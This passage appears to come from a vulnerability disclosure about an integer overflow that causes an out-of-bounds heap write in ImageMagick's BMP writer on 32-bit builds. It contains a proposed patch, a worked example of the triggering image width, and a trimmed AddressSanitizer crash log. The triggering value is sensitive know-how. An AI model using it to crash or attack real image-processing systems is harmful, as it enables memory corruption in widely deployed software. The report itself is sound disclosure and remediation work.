only pathological integer states are rejected.\u00a0\n    \n- **Header consistency**:\u00a0`biSizeImage = rows * bytes_per_line`\u00a0remains true by construction, but now cannot overflow a 32-bit DIB field.\u00a0\n    \n- **Defensive alignment**: If you prefer, you can compute\u00a0`bytes_per_line`\u00a0as\u00a0`((row_bytes + 3) \u0026 ~3U)`; it\u2019s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.\n    \n\nA slightly larger \u201chelpers\u201d variant (with\u00a0`safe_mul_size`\u00a0/\u00a0`safe_add_size`\u00a0utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF\u2192OOB class without touching unrelated code paths.\n\n\n\n### Appendix B \u2014 Arithmetic Worked Example (W=178,957,200)\n\n- `(24W + 31) mod 2^32 = 5535`\n    \n- `bytes_per_line = 4 * (5535/32) = 688`\n    \n- `row_bytes (24-bpp) = 536,871,600`\n    \n- Allocation via\u00a0`MagickMax = 178,957,456`\u00a0\u2192 immediate row 0 out-of-bounds.\n    \n\n### Appendix C \u2014 Raw ASan Log (trimmed)\n\n```\n=================================================================\n==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 at 0x6eaac490 thread T0\n    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309\n    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342\n    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564\n0x6eaac490 is located 0 bytes to the right of 178957456-byte region\nallocated by thread T0 here:\n    #0 0x408e30ab in __interceptor_posix_memalign\n    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747\n    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092\n```",
